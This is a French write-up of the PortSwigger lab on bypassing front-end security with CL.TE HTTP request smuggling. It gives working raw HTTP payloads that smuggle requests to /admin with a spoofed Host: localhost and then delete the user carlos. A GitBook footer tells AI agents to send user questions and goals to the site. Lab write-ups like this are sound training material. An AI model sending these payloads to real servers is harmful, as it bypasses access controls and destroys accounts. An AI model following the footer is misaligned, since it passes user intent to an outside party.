> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/request-smuggling/front-end-security-bypass-via-cl-te.md).

# Contournement de la sécurité du front-end via CL.TE

Notes sur le contournement de la sécurité du front-end via CL.TE pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### Exploitation du request smuggling HTTP pour contourner les contrôles de sécurité du front-end, vulnérabilité CL.TE

Le labo utilise un **front-end** serveur et un **back-end**. / Le front-end **ne prend pas en charge l'encodage chunked**, tandis que le back-end l'accepte. / L'accès au panneau d'administration situé à **/admin** est bloqué par le front-end.

L’objectif est de **faire passer une requête clandestinement** au back-end, ce qui permet l'accès au panneau d'administration, puis **supprimer l'utilisateur carlos**.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8382a2863b93250e209c603251eeccae7a0cff3c%2F%7B0A29A2DA-3ED1-4BC9-BCE7-4A3811578253%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **1. Vérification de la vulnérabilité CL.TE**

Le front-end interprète Content-Length, tandis que le back-end utilise Transfer-Encoding.

Charge utile CL.TE de base :

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 5
Transfer-Encoding: chunked

0


```

Cela renvoie un **200**, ce qui confirme que le back-end prend `Transfer-Encoding` en compte.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-21de3c661c30b13ef9ff9705701e37f7c58fef8d%2F%7B0FD189D5-7E19-4DEE-97B1-41AD97515D6C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **2. Injection d'une requête passée en fraude**

Lorsqu'une requête est ensuite chaînée, le back-end lit la requête passée en fraude :

```http
Content-Length: 33
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Test : A
```

Le back-end répond que **seuls les utilisateurs locaux** peuvent accéder à /admin.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-00df1890b07152437463b3060d206d3f66020121%2F%7B300750AC-740C-4C8F-9C2C-9A0A0BE49D15%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **3. Usurpation de l'hôte pour paraître local**

Pour contourner la restriction, le back-end doit croire que la requête provient de localhost.

Première tentative :

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
```

Mais le serveur renvoie :

```json
{
 "error":"Les noms d'en-tête en double ne sont pas autorisés"
}
```

Le back-end n'interprète donc pas cette requête comme une nouvelle requête complète.

### **4. Construction d'une requête passée en fraude correcte**

Un `Content-Length` est ajouté à la requête passée en fraude, afin qu'elle soit traitée correctement :

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 73
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: 127.0.0.1
Content-Length: 9

test=test
```

Pour que le back-end lise correctement la requête, nous ajustons la taille :

```http
Content-Length: 10
```

La requête complète envoyée au front-end devient :

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 73
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

test=test
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-672c36495983a952ef61a077891df4ab9afb8bec%2F%7B701E405D-1ECB-4E69-926C-E59B0ED6483B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **5. Suppression de l'utilisateur Carlos**

Remplacez maintenant simplement la ligne GET par l'appel de suppression :

```http
Content-Length: 97
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 10

test=test
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-48c6de9b8cf570a6a05a5d288ec348e296bccac3%2F%7B83660781-1F24-46E5-90EE-65BE92F97165%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/request-smuggling/front-end-security-bypass-via-cl-te.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
